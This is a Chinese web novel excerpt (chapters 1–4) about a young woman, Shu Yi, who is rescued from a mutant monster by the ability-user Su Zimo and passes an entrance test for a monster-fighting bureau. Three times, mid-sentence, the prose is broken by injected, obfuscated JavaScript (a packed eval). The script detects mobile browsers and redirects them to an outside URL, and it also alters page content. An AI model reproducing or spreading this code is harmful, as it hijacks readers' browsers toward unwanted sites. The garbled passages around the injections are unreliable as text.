《搭档大佬有大病》 1. 能力者 舒懿双手紧紧捂住嘴巴,把自己团成一团。她小心翼翼侧身靠在倒塌了足有一半的残垣断壁后,向外瞥了一眼。 爆炸声轰鸣而至,接踵而来的,是某种生物低沉恐怖的咆哮。 公元2065年,或许过去仅五十年前的人类无法预料未来产生的巨大异变,依旧以为乏善可陈的生活会永远延续下去。所遇的意外只存在于科幻作品和幻想电影中,供人娱乐。 四十年前,地球上的部分生物开始发生不明原因的变异,异变伊始之时,人类将其中的变异生物统称为“怪物”,随后产生了系统的命名。大自然向人类开了个漫长的玩笑,变异生物的进化似乎十分迅速,从经过受训普通人即可制服到轻易摧毁重型武器,只用了三十年。 她见过怪物的样子。 那东西看着像鲨鱼,却足有两层楼高,本是鱼鳍的地方被类似爬行动物的利爪所替代,浑身覆盖着坚硬的鳞片。此刻,它正漫无目的地搜寻下一个狩猎的目标,半张的巨口中隐约能窥见里面腥红的舌头和满嘴的獠牙。 “那鳞片和铁铸的一样,想要突破这东西的防御恐怕是不行了。” 舒懿飞快地想着,额角微微渗出细密的冷汗,思绪却丝毫不乱: “一直躲在原地也是下策,目前尚不清楚它搜寻猎物的方式是什么,不过可以确定的是这东西几乎没有听力……等待救援吗?不,至少要隔开安全距离,这地方实在太危险了。” 唉,早知道会发生这种事,倒霉催的,她死也不会心血来潮来这条街买书的。现在书没买到,小命倒是要没了。 就在她思考的当口,咆哮声终于渐渐地远去。舒懿深吸一口气,心里虽然叫苦连天,动作却丝毫没有迟疑。身子弓起,就要准备转移位置。 毕竟,眼下这半堵墙实在不靠谱。那东西若是发现了她,也就只是“移开餐桌上一个纸巾盒夹菜”的程度。 她轻轻向后退了半步,心里猛然“咯噔”一声。 刀子似的烈风割过她的脸颊,舒懿猛地回头,只见面前的建筑被什么高速运动的物体接连击穿,爆发出一连串的轰鸣声!那足有重型卡车般大小的怪物张开血盆大口向她直直扑来,三层剃刀般的利齿泛着血腥的冷光。 这东西没有听力,它根本就是依靠细微的地面震动进行定位的! 一切发生在须臾之间。别说逃跑,甚至连反应都很困难。无力感,作为人类的无力感。 她只有茫然。 完了。她想,老子还没吃午饭呢。 时间仿佛凝滞在了这一秒,像是一个世纪般长短的慢镜。 死亡是如此之近,近得能听见它冰冷的呼吸轻轻吹过脸颊。传说一般人会有走马灯,望见自己一生的爱恨情仇,可惜她没能适用于这条公论,只想起了自己还没来得及吃的午饭…… 然而,就在她即将带着自己low炸了的遗言去见上帝他老人家的刹那,一只手拽住了她的帽子。 是谁呢? 或者说,会是谁? 那人直接把她拎了起来,往身后一带。力度很大,偏偏又像是放下一只玻璃杯,慎重,却又从容不迫。 “……” 舒懿觉得他可能疯了,重型卡车大小的怪物起码二十吨起步。以眼下这个速度产生的动能把他俩蒸发都够了,谁在这时候逞英雄?! 巨大的撞击声简直能撕裂耳膜,身前弥漫炸开巨大的尘埃。山呼海啸般的扑击硬生生地刹住,毫无缓冲。 风停了? 她猛地抬头,瞳孔剧烈收缩。 不,风没有停。 只是被什么东西挡住了。 对方没死——不仅没死,还挡住了怪物全力的扑击,好像只是接住一片轻飘飘的落叶。然后他转过头,垂下眼睫看了她一眼,语气很温柔的样子: “没事吧?” 敢情自己是撞了百年不遇的大运,遇上高人了。就冲这把怪物晾一边轻描淡写和她说话的闲情雅致,就不是个平庸的主。 她愣了一下,下意识点了点头。 近距离看,舒懿才诧异地发现这人居然远比她想像的年轻,只比她大上一些。十七八九的模样,看着像个高中生,或者大学生。他穿着蓝白色的卫衣,高而瘦削,深灰的发丝柔软地拂在额前。 但是这介于少年和青年之间的人有一双冰蓝色的眼睛,很罕见。 像是冻结的深空,她想。 见她点头,想必神经系统没给吓出什么问题,那人冲她微微颔首后就不再言语了。 舒懿愣了下。 碍眼的尘灰散去,她这才发现他身前笼罩着一层几乎透明的膜。像个半球形的罩子,近距离细看能分辨出淡淡的蓝色。原来,就是它挡住了先前的扑击。 她悚然一惊,眼睛猛地睁大,随即浮上一丝不符合当下情况的惊喜来。 异常的外貌特征,以及这个不符合当前科技水平的护罩…… 他是能力者?! 异变的对象,自然也包括人类。所幸,基因突变的这部分人类尚还保有人类的生理结构,仅仅拥有了某种特殊能力,上天入地的梦想不再局限于想象之中。可似乎强大的力量总伴随着诅咒,政府为维持社会稳定强行隐瞒了特殊人类的存在,甚至暗中抓捕进行研究,双方冲突不断。 这一瞒也是三十年。 由于损失渐长,怪物用不断升级的灾难为特殊人类正了名,政府被迫公开了双方的存在。当专门应对变异生物引发的灾害事故而设立的特殊部门处理局建立,初步的应对系统才正式成立——而那些拥有异于常人的力量,各种特殊能力的人类,顺理成章成为了抵抗怪物来袭的主力军,巨大的外压迫使人类无力内耗,他们获得了承认,从此被称为“能力者”。 …… 总算不是完全倒霉了。舒懿的心情有些复杂,自己先前遍寻处理局的线索,却连影子尾都摸不着,没想到这怪物却意外把机会送到了她面前。 无论如何,她都要抓住这个机会,加入处理局。 青年面无表情,漫不经心地抬起眼,正好和那怪物对上视线。 他的体积对那怪物来说不值一提,按理这种东西本该被它忽略或者随便辗碎……但从它与那双眼睛对视的一瞬间,冷血动物前爪紧紧扒住地面,弓身摆尾,竟是要扭头逃跑。 青年抽出一直插在卫衣口袋里的右手,凌空虚虚地一抓。五指在空中平行地留下看不见的弧线,指尖所过,一切都在刹那间分崩离析。 堪比钢铁的鳞片形同虚设,重型卡车大小的怪物甚至连痛苦的哀鸣都来不及发出,就被看不见的力量生生撕碎,瞬间沿着伤痕开裂成无数切口平滑的肉块。 看到这一幕,舒懿立刻理解了那怪物为什么会被吓得转身就逃,那是一种来自本能的恐惧。 她咽了口唾沫,给自己心里鼓劲。他既然是执行员,那应该不会第一时间对普通人动手,既然这样,至少她要试一试。 大学生模样的青年轻轻吐出一口气,慢慢收回自己的右手。 这人细心地把地上的建筑垃圾和怪物碎片分成了两座小山,看来是好方便善后人清理。这一整套动作做下来,整个人气质不动声色地变了。松松地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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啧,真是难缠。青年的脸色很难看,假如不是因为怕麻烦… 他能面不改色地撕碎二十吨的陆行鲨,独对这看似没啥分量的威胁没辙。这人偏偏歪打正着踩中了他软肋,青年是可以动动手指就把人丢出去,但她抱得太紧,怕掌握不好力度。 身后的女孩只是看起来小小只没分量,手劲异常的大,肩膀被她勒得快没了知觉。他沉默良久,略微低着头。最后青年长长地叹了一口气,松口了: “你先从我身上下来,我带你去。” 舒懿怔了一下,眼睛到表情一下子亮了,五官特别生动地露出一脸灿烂的笑容来。 “可以了吧?” 他礼貌地冲她笑了一下,而后垂下视线。 “不行。” 舒懿仔仔细细地偏头想了想: “只要我一放手,你就会跑掉的。” 青年没料到她会想到这里,愣了一下。 他确实只是敷衍,嘴上的语气特意用了种有点妥协,半分无奈的温和,她居然看了出来? 不对,并不是看出他在敷衍,而是… “对不起啦,我得抓着你的手。” 舒懿冲他眨眨眼,从他身上溜了下去,手却依旧紧紧攥着他的手腕,不给他一点机会。而青年的姿势非常尴尬,这个位置让他有点使不上劲,就这么眼睁睁错过了跑路的最佳时机。 他都快怀疑她是故意的了。 2. 处理局 出于保护居民生命安全的考虑,处理局和军方已经提前疏散了半径五百米的人员。沿途没有人影,城市的喧嚣远去了,只剩吹过废墟微弱而荒凉的风声。 这个辖区的分部地址十分恰巧地离事故现场很近,走两步就到。面前的建筑是一栋夹在中间极不起眼的灰色小楼,但根本没有可供进入的地方。 “到了。” 倒霉的执行员目光诚恳地望着她: “你现在可以放开手了吧?” “嗯,推开那门就是?” 舒懿闻言,居然痛快地松了手,冲一个看似只有墙壁的地方一指。 青年飞快地抽回手,如获大赦地甩了甩。发现手腕居然被她捏青了,有点牙疼。听她这么笃定,顿了顿: “你知道?” “这建筑的结构不大对,我猜应该有密室,”舒懿说,“怪不得之前一直找不到。” 青年眉尖轻轻地挑了起来。 这句话信息量很大,“找不到”说明她一直在做尝试。那么,找什么? 处理局行事一直半公开,明面上的样子活全推给警方军方去做,又由于工作性质问题,普通人基本上是“只闻其声不见其人”,属于神乎其神的都市传说之流。关键是谁没事会冲玩命的枪口上撞? 可见此人若不是脑壳里的那东西出了点问题,就是个不怕死的神经病。 青年诡异地开始后槽牙疼,他心有预感,恐怕这神经病是来真的。 “往后退一点。”他说。 咔嚓,看似严丝合缝的灰色墙体出现了密码锁。舒懿看不见他输了什么,只能看见他的后背。 不过这个人真高啊,自己估计只能到他的肩膀。她不禁感慨,基因这东西真的没法比。 “真的很抱歉,我有些急,做法不对,给你添了这么多麻烦。” 舒懿说完这句话后就不吭声了,规规矩矩地跟着。眼神认真,乍一看好像还挺像回事。 其实现在她还感觉有些不真实,这个人居然真的把她带了进来?她心里偷偷抱了声歉,如果不是太怕眼前的机会溜走,她也不会用这么不讲理的方式。 “没事。” 青年瞥了她一眼,没想到她居然会道歉,有点意外。他领着她又过了几道指纹密码认证的门,停在了一扇普普通通的木门前,礼貌地敲了敲: “杨长官。” “进来。” 门没锁,青年拧转门把手,推开了门。 办公桌后的杨铭闻声抬起头,看了他们一眼,一瞬间脸上飞快地闪过某种猝不及防的惊讶。然而这种神情一展即收,叫人以为是自己的错觉。随后,他不知想起了什么,嘴角玩味地勾了勾。 居然抱在最讨厌肢体接触的苏子沫那小子身上…… 褐发的男人下巴留了些乱糟糟的胡茬儿,额前的头发有些卷。他整个人向前倾了些,胳膊支在桌面上,点了支烟。 “面生,恐怕也不是新人吧?来干什么的,说说。” 尽管苏子沫已经隐隐地猜出了真相,但依然抱着最后一线希望。 “是,我想加入你们。” 舒懿神色一肃,一板一眼地说。 “……” 苏子沫沉默了。 杨铭笑了,不动声色地打量着她。年轻的舒懿看起来坦然又坚定,虽有些隐而不露的忐忑和些许没褪掉的稚嫩,但出乎意料地给人一种奇异的稳定感。 关键是,没有一点脑子一热劲儿过后的退缩。 这个人是认真的,杨铭知道。 “有意思。你是怎么想的?凭借你这一个普通人的身体素质,这么危险的工作,想干?不适合你。” 这回,舒懿沉默了一会儿,坦诚答道: “我会让自己适合的。现在不适合很正常,我一没你们的指标二没提升的条件,谁知道往哪个方向凑?你们躲得那么严实,一般人除了处理局三个大字之外屁都不知道,也就我这么屁颠屁颠抓着你们的影子尖逮人,就这,还差点挂了。千辛万苦到这里,想让我放弃,就‘不适合’这扯淡的理由,我是不会接受的。” 杨铭笑得见牙不见眼: “新奇,我喜欢。我姓杨,单名一个铭字,铭刻的铭。你倒是合我的眼缘,这样吧,出去走廊右手边第一道门,把挂天花板中央那袋子揪下来给我,我考虑考虑。我们工作性质特殊,所以不允许招收十八岁以下的人员,换言之,”杨铭说,“小姑娘,冒昧问一句,年龄够了吗?” 舒懿伸手拉开了办公室的门,低头敛目,只看得见她的背影:“前一个月刚过的生日。” “看来你不仅有决心,而且运气不错。”杨铭眉目展开,露出一个灿烂的笑容,“去吧。” 她很快地应了一声,就要迈步。 可杨铭的脸色突然沉了下去。这个人笑的时候亲切,不笑却带着一股岳峙渊渟的肃然,像是刀锋出鞘一寸。 他平平地接了一句,没什么特别的情绪。 “活着回来。” 门轴发出轻微的摩擦声,“吱呀”一声合上了。 “长官。” 苏子沫面无表情,注视着已然紧闭的门板。他回过头,那双冻结般的蓝眼睛平和地抬起,对着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385356|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨长官: “什么时候考核变得这么简单了?” 男人仿佛是感受到身边青年冰冷的视线,缩了缩。他扭过头,把烟一叼,挤眉弄眼。 “青春期的半大小子,毛都没长齐,怎么,害羞了?手握的舒服不?哇塞,都青了耶——” 苏子沫站着没动,杨铭抽到一半的烟却突然从他指尖跳了出来,狠狠摁熄在男人放在桌面上的手边,咝的一声,杨铭嘴角随之不自然地抽搐了下。 “注意形象,杨长官。还有,您别抽太多烟,对身体不好。” 这小子居然在威胁我…… 杨铭有气无力地往椅子上一靠,默默记了一仇,咂巴咂巴嘴,露出了一个微笑。 “总要给年轻人个缓冲的余地嘛,小苏你看,是不是这个理?”杨铭眼皮一抬,又摸了根烟出来,冲他摆摆手:“何况人家还只是个普通人。” “我不愿做一个苛刻的人,但是,最近第九辖区的情况,比较之前更为特殊。” 苏子沫的口气听上去冰冷严峻:“哪怕是能力者也很难保证自身安全,普通人…这可不是在玩游戏,您为什么不为她未来的安全考虑呢?” 杨铭眉头一皱。 “你……” 苏子沫放缓了神色。而后,他偏过头,态度良好,有理有据地说: “我理解您的担忧。而且,就算我再怎么苛刻,也不会打击一个人的梦想,只是希望能考虑得更周全一些。她行动力和观察力都不错,胆识也是。关键是,她记得自己的目标,并且能坚定不移地推进,找处理局都能坚持那么久,甚至是深入封锁区就可见一斑。既然您还想给她这个机会,我认为,就现状来看,增加一些难度,更能促进她的成长。” “当然。” 青年顿了顿,声音放得更缓更轻。 “不必用我的考核难度,只是往上稍微调高一些,凡事都有个度,太过不行,太缺乏更不行。杨长官,对不对?” “臭小子,说句实在话。” 杨铭斜着眼看他,从齿缝里挤出一句赞叹:“不希望她成功可以直说。” 苏子沫眯了眯眼,不说话了。 “她的考核没有放水,”杨铭猛地沉下脸色和声音,“你可以自己去翻人事部守则。苏子沫,不要因为觉得麻烦,就随便让人参加那些危险的、生死一线的战斗。是,太泛滥的关照对人的成长没好处,可当年你的考核是上面特批下来的,是你自己偷懒不关注一般人的流程。我要考验的只是她的勇气、决断和应变能力,不是为了让她受伤。” “是,对不起,长官。” 3. 考核 在公安系统和军方的夹缝里,有这么一个摇摆不定的部门,名为“处理局”。 他们部门知名度挺高,大家都差不多知道是专门清理变异生物顺带管着那帮能力者的,但是具体章程就两眼一抹黑了。反正每次都由上级直接下发任务,他们的人过来一趟把事情解决,剩下应对媒体公众的活儿就由警方来干。 处理局成立时间太短,相当一部分人手还是从军方和警方抽调过来的,体系尚不完备。加之上头顾忌那帮能力者,不希望他们露在台面上,才有这样的局面。 而媒体的报道也只说明怪物与能力者的存在,具体科晋云里雾里,这就导致公众说法众说纷纭,怎么胡侃的都有。 入职申请一类更是奇葩,要么正儿八经向警方投简历等待冗长繁杂的办事流程,要么被他们自动找上——虽然如果不是高位能力者,这种事的概率无限接近于零。 当然,还差最后一种,那就是自己找到这些处理局的工作人员,进入一个黑箱似的入职流程,最后得到一张应聘通知书或者一阵断片儿。 不过近来的时势,上面隐隐颇有些将处理局作为第三部门提到明面上来、正规化的意思,毕竟一直遮遮掩掩,难免有些不方便。 …… 舒懿听了杨铭的话,没有什么特别的反应,只是默默提高了警觉,临走还不忘带上门。 已经到了这里,说什么都不会退缩了。哪怕考核非常危险,也得硬着头皮闯一闯。 然而下一刻,她傻眼了。 门里是一个大池子,估摸有一个室内篮球场大小。 池水虽然不算清澈见底,但至少没有滋生绿油油的藻类。然而通往对面门的通道却简陋得有点可怜,就是个仅容一人通过的小吊桥,还寒酸地发出年久失修的“嘎吱”声。 让人怀疑此君的安全系数是否会引发人寿保险生效。 ……这东西早就过保修期了吧? 她嘴角抽搐了一下,视线上移,停留在从天花板中央吊下的小袋子身上。目测了一下它与吊桥的垂直距离,而后缓缓皱起了眉。 人的身高加上臂长,绝不可能以正常的弹跳力接触到目标。 出于对杨铭莫名的信任,舒懿并未怀疑考核的合理性,而是转换角度思考起来。 假如正常方式不可行,那么…必然在这个房间内,有可以加以利用的外物。按照他的警告,这池子估计也没那么简单,否则也太不“考核”了。 所以是……要潜水? 她一愣,心里一转念,将自己的外衣毫不犹豫脱了下来。随后卷成一团打了个结,甩手丢了出去。衣物在空中划出一条凌厉的抛物线,径直冲向了目标。 然而,就在此时,池面诡异地翻涌起来。大串大串的气泡直直往上冒,巨大的黑影出现在水面下!她的瞳孔一瞬间放大,眼睁睁看着某种生物刹那间破水而出,漆黑的鳞片开合,发出铿锵的金属摩擦声。 黑色的巨蛇弹簧一样张开长着锋锐利齿的巨口,一口截下了本应命中目标的衣服包裹。 等老娘出去一定要要求赔偿财产损失! 她的内心生出一阵肉疼的心酸,连头都没抬,很没形象地向前滚了两尺。这才堪堪擦过黑蛇的下颔,一截乱毛差点被削掉一半。 女孩按在桥上的手紧了紧,方才一点欣喜顿时碎了一地,后知后觉地浮上一点后悔和恐惧来。只不过这点情绪刚颤颤巍巍地冒出头来,就被她一人捶了一个大包,翻了个白眼沉下去了。 镇定。 不会设计过不了的题目。 耳畔尽是风声,舒懿一个滑铲二次以一个扭曲的姿势躲过了黑蛇的一次横扫,黑蛇的尾部抽击在吊桥上,脆弱的吊桥剧烈晃动。她险些掉出桥身,只得抓住粗糙的滕竹材料拧成的缆索,手心转来尖锐的刺痛感,染红一寸皮肤。 然而,最让她担忧的事情偏偏在这时发生了—— 吊桥缆索与一侧出口的连接点出现了断裂的迹象。 干!! 没时间了,她把心狠狠一横,豪赌般矮下身一动不动。肌肉紧绷,手心布满了冷汗。 黑蛇在不远处弓身,箭一样笔直地冲她弹了过来!飞快地在面前放大的蛇口让她本能地想要闪避,然而她眼神猛地一沉,强行压下了闪避的冲动。 只有一次机会。 在黑蛇的巨口离她只有几米时,她猛地一蹬桥面,身体跃到了能够到达的最高点。 黑蛇撞击在桥面上。 轰然一声,吊桥的绳子终于不堪重负,绷断了! 失重感将她向下一扯,然而感谢她这些天不要命的逃跑经验,舒懿身体本能地扑了出去,一把抱住黑蛇的脖子!黑蛇条件反射般地摆起脑袋,企图把她甩出去。 就是这一刻。 女孩毫不犹豫地松手,准确无误地与目标迎面相撞。擦身而过的一瞬间,她抓住了袋子。 “漂亮。” 监控器一端的杨铭简直要为她叫好了,果决又沉稳,丝毫不为表面的危险所动摇,简直有种生涩的巍然。 可惜,没考虑好撤退问题。 在她抓住袋子落下的一瞬间,舒懿猛然意识到自己预估的绳子强度有点高了,根本不足以让她荡到另一头去,这是她致命的错误。 一天两次生死一线,她决定从今往后要和所有爬行类不共戴天。 “靠……” 舒懿只来得及艰难地吐出一个字,背后的黑蛇已然飞快地接近了她,随即把头一昂,时机精准地——接住了她。 欸? 舒懿后知后觉地回过味来,姓杨的果然是在骗她!区区一个考核怎么可能把小命搭上,这群丧心病狂的死变态居然养爬行类作考官,想来不是什么好鸟。 然而这个不知生死可畏的小年轻既没有庆幸也没有后怕,死里逃生后的她顿时虚起眼,死鱼一样瞪着房间对面打开的门口站着的两个人。 不对,这不是两个人,这是两条狗。 黑蛇把她轻轻地放在了门口。舒懿跳了下来,拍拍黑蛇的头,示意它可以下去了。 “两分三十四秒。”杨铭按下计时器,赞叹,“什么时候年轻人能有这种素质了?” 她居然能做到这个地步,苏子沫心里有些复杂。这么一想,青年于是温和地笑了笑,出声夸了她一句: “嗯,比看上去强。” “……” 杨铭沉默了。 这后天某些方面情商残疾的小子贫瘠的语言系统已经连句“做的不错”都发育不出来了吗?! 她一开始没反应过来他什么意思,回过味儿来才浮上后知后觉的怒意。 因为这句话有种淡淡的傲慢。 倒不是故意,而是一种浸入骨子里的、无知无觉的优越感。 舒懿不知道她感受到的是不是错觉——也对,她就只是个普通人,应该柔柔弱弱地等着别人来救,而这个“本该身无长物”的人做出了一点超出她职责的表现,所以特别值得夸。 “……” 舒懿抬头看着苏子沫那张微笑的脸,高挺的鼻梁,向下看着她的冰蓝色眼珠。 像只大型的猎食动物,在看毫无反抗能力的小型食草兽,怎么看怎么像含着说不出的傲慢。 舒懿火了。 可这家伙真的好高,站在面前,自己头顶的乱毛勉强能挠到人家下巴,他不往下看不行… 她默然片刻,看在他是自己救命恩人的分上,暗戳戳在背后向其比了个中指。然后一扯苏子沫一边的卫衣带子,拉到了底。 哈,叫你说屁话,大傻呗。 而后她心满意足地低下头,自我反省: “您不用太夸我,我其实没通过考核不说,很多地方还很欠考虑。赌的成分太大了,比如那绳子的强度就没估计好,在形势判断不全的情况下和它缠斗也很危险,对不起。” 杨铭沉默了,心酸中夹带着赞许:“打开袋子看看。” 这小姑娘,自己果然没看走眼,可这动不动以下犯上的德行…怎么微妙地和某个天杀的如出一辙呢…… 舒懿顺从地点点头,打开袋子,愣住了。一张聘书,以及…工资卡? “考核的难度,其实是没我说的那么高的,主要是说高点,能看出一个人在生死关头的修养和素质,我们看的其实是这个,”杨铭笑了一下,吸了一口烟,“基本只要表现不怕死不怯场,没怎么临阵崩溃,有认真想就行。没想到你还真行,只差一步,如果100分满分,得给你个80。” “当然,肯定没那么简单的。三个月实习期,你得由个人先带带,把流程、基础常识啥的补齐,顺带积累绩效提升处理局给你的评级。只要不混吃等死,基本没啥问题,是个肢体齐的都能转正。等等……喂,你在听吗?” 舒懿高兴得像是要飞起来。她聪明,可是胸无城府,一点欢喜都藏不住。这个巨大的惊喜快把她砸晕了,智商下降得厉害,脑子里开始串台: “我成功了!没死成,成功了!可以拿工资了!以后我只要没死,就可以拿工资了!” 虽然杨铭说着没那么简单,但在她看来,已经是出乎意料的容易,真有点头晕目眩的不真实。工资是小事,真正令她如此欣喜的原因被藏在心底深处。 从那时候到现在,她努力了这么久,终于迈出了第一步。 苏子沫冷漠地看着自己被一拉到底的卫衣带子,有点愣住,心中一丝略微的愧疚无影无踪。可她没心没肺的滑稽表现实在太过喜感,莫名没办法厌恶起来。 青年只是笑了一下,强迫症一样整理了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385357|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服的带子,没有说话。 杨铭倒是乐得捶胸顿足,险些掉进池子:“你那脑子用的是一条线路吗……啊对了小姑娘你叫啥来着,之前忘了问。” 不是忘了问,是不在乎——对一个不一定留的下来的人,没必要知道名字。 女孩却是不懂这些人情世故的,她随即磕磕巴巴回答道:“舒懿。” 杨铭抽着烟,只是笑笑,没有多问。 “你要实名,还是挂名?我们有分挂名制,毕竟不是所有人都想拿这个当主业。你挂名,钱拿得少些,虽然可以拒接任务,请假不扣工资,但是五险一金是没了。以后基础工资和绩效,就是做任务额外分的钱都会打到这张卡里,每月1号准时发——手机记得给我,让技术部做些处理,连到一个系统里去,你可以自己多翻翻看看,资料很有用。” 按长官说的还能挂名?那之后没准能做到一边上学一边完成工作任务,这到底是什么好事?她苦哈哈地打工想着多赚点生活费再回去读书,但处理局的执行员始终是她梦想的工作。本来是因为这帮人实在不好接触,舒懿打算现在开始早做准备,瞅见这么大一个机会实在不能放手。这下她可以做着梦想的工作赚钱了! 舒懿仔细地把东西收好,充满了期冀与希望地问:“谢谢长官,您说的我都背住了。我还是选挂名吧,感觉比较方便。那前面您提过的,带我的人呢?哪儿?” 杨铭似笑非笑,别有意味地清嗓子。 “咳咳咳,这个……” 默不作声的苏子沫看他的眼神冷冰冰的,好像要把杨某人捅个对穿。 你敢? 杨铭面不改色,油盐不进:“哦,正好呢,有一个搭档先前换得跟某国首相一样快的人。这人虽然工作能力是没得说啊,但是脾气古怪性格也不怎么样,就是很有本事…顺带提一句,他已经起码两年没带过人了,可以吗?” 苏子沫眼皮跳了跳,可舒懿傻乎乎的,下意识就点了头。 她这方面总是不敏感,只是想这个人既然很厉害,那肯定能学到很多东西,就算会多经历一些磨难,总是好的。 杨铭大尾巴狼似的一推舒懿,假模假样地宣布:“抬眼。” 舒懿稀里糊涂地上下扫了一圈,终于发现,等等,那什么…这好像就只有那位欠得举世无双的救命恩人在场? “嗯,小苏啊,之前你不是很担心她的安危吗?一般的能力者是没办法保证新人的安全,但是呢,你就不一样了,对吧?看在你这么担心的份上,你自己来带她,不就解决了吗?” 杨铭用实际行动告诉苏子沫: 他还真敢…… 面对这死记仇的长官,苏子沫只好点点头,看了看杨铭,磨着牙想:改天一定要找个时间捶爆这个混帐领导。 “当然,我一定会做好您交代的任务的,您也注意保重身体。” 他说,接着转向舒懿。 “我的名字是苏子沫,泡沫的沫。今年二十岁,接下来三个月,由我负责带你。” “苏子沫……” 舒懿歪着头,琥珀色的眼珠抬起来扫了他一眼,凝注了片刻:“你还真的只有二十啊。” 苏子沫微微挑眉,不置可否。 杨铭笑容一收,补充说:“好了,有些特别的东西,我得交代你几句。” 他说到这里的时候,明察秋毫的苏子沫就看出来这些话杨铭大概是不想让他听见的,颇为识趣地离开了。 末了接了一句:“等你和长官聊完了,记得来找我。” 杨铭沉默了片刻,掐了烟,抬眼看她: “苏子沫……小苏,他这个人比较麻烦,各方面都是,你容让一些……” 舒懿敏锐地听出一点言外之意: “您是说……” “他这个人风评…很不好,因为很多原因,我不好和你说。不过他本事很大,年轻,也能听得进别人的话。其实深究了他人还是不错的,你和小苏搭档可以多学一些东西,这机会我是给你了,只是……” “您觉得我会退缩?” 杨铭迟疑了一下,目光讳莫如深,黑沉沉的:“你千万注意点,他就算看起来脾气好你也别放肆,多问问工作和能力方面的知识,他都会回答的。只是……别对他以前的事刨根问底,假如小苏真主动告诉你了,你静静听就成。小苏……他,他其实也是苦衷,身不由己。” 舒懿没吱声,默默听着。 她一向在这方面迟钝,却从杨铭的欲言又止中读出了某种深切的悲哀。 可她又不知道该怎么回答,只好弯起眼睛,生硬地说:“长官放心,就算他是根棒槌,我皮实,抗揍。” “嗯。” 杨铭垂下眼皮,忍不住“噗哧”一声笑了。 “去吧。” 4. 舒懿 她的名字是舒懿。 小时候,她确实曾从政府公告里听见过“怪物”和“能力者”这类的科幻词汇,但显得遥远而缺乏实感。于是压根没放在心上,安安稳稳地过普通人的好日子。 她从没想过会和这些词汇扯上任何关系,直到它们强硬地闯入了她的生活。 那原本是一次再平常不过的出行,事故的发生却像每个明天那样毫无征兆。 她等来了救援,可她的父母却没有。 明明只差一点点… 舒懿清楚地记得。如果她再有用一点,是不是他们都可以活下来?她总是反复责问自己。这个问题折磨她到至今,而当时她只是在哭,一直在哭。小小只的女孩什么都不知道,只知道马上就要失去他们了……爸爸妈妈要像星星一样飞走了,去她再也找不到的地方了。他们一直那么疼爱她,几乎从不拒绝她的要求,这一次却掰开了她的手。 用那种强硬、坚决、不容置疑的温柔。 他们用自己的命换了她的命。 和谐幸福的家庭突遭变故,家里的老人受不了打击生了重病,舒懿没有时间消沉和自闭,为了照顾双方老人忙得团团转。父母任教的大学发起过捐款,也有一些曾经的学生提出过资助她上学的邀请,可她的家庭只接受了前者,却拒绝了后者。周围的人都很心疼舒懿的遭遇,生怕她被打击之后一蹶不振,可他们的担心似乎担错了地。 因为她过于坚强了。 坚强到和老人卖了房子住在一起,高中毕业后在大一休学了一段时间,跟着亲戚朋友的关系打着零零散散的工,又在空闲时间找着那个据说解决这些事件的那个什么处理局。 这可把人吓坏了。 周围人几次登门劝她,读书才是正道理,那种危险又没影的事少碰。可舒懿仿佛吃了秤砣铁了心,说这些东西她会自己斟酌,谁也拦不了她。 …… 舒懿捧着她的随身笔记本,巴掌大小,可以随时揣兜里带着。她快走两步,追上了站在原先的办公室中等她的苏子沫,冻得有点哆嗦。 此时已是秋季中叶,眼下的气温已带上了几分凉意。她的外套不慎阵亡,穿着短袖难免有些勉强。 苏子沫听见声音,偏过头,瞥了她一眼,善解人意地问:“需要衣服?” 舒懿忐忑地摇了摇头,又点了点头,觉得不太稳重,狠下心来又摇了摇头。 苏子沫温和地开口。 “没事,不用紧张,你这算是我们的过失,可以赔的。” 他说这话的时候,口袋里一直传来极小的信息提示音。可他语气慢吞吞的,丝毫没有理会,而是自顾自地和舒懿说着话。 舒懿迟疑了一下,指着他的口袋:“好像有事,还是这个要紧。” “没什么,各地难免出点难办的岔子,这些烫手山芋给别人做是要花大代价的。那些人他们请不起,都会发到我这里想赚廉价劳动力——不过我最近不想出差,那些事他们自己弄吧,不用管。” 苏子沫随意地摆摆手。 ……看来他还真是本事很大。 舒懿咽了咽:“不管……会怎么样?” 苏子沫一愣,细不可察地眯了眯眼,平平淡淡地说: “会死人。” 他眼窝很深,眼睫微垂。瞳孔的蓝色格外深,深得近乎是黑了。 或许是这份黑色带来的错觉,从中带出的目光也像他的眼睛一样,染了一层冷冰冰的不近人情。 处理局调配人手资源并不平衡? 听到这句话,这次舒懿顿了一下,若有所思,开始在笔记本上奋笔疾书。 苏子沫有些意外地看了她一眼,从倚着的墙上直起来,默不作声地走到了某个舒懿尚不清楚的地方去。 他回来的时候,手上多了件衣服,扔给她: “你凑合着穿一下,尺码目测的,可能有些差。” 舒懿猛地回过神来,条件反射地一把抄住,抿了抿嘴,低声说:“谢谢。” 她三两下随手套了上去,一点不顾忌。 “对了,你的手受伤了对吧?我这里有创口贴。” 苏子沫从卫衣口袋里掏出长条型的药贴,舒懿不好意思拒绝,只能伸手接过。 这家伙……真的很体贴。 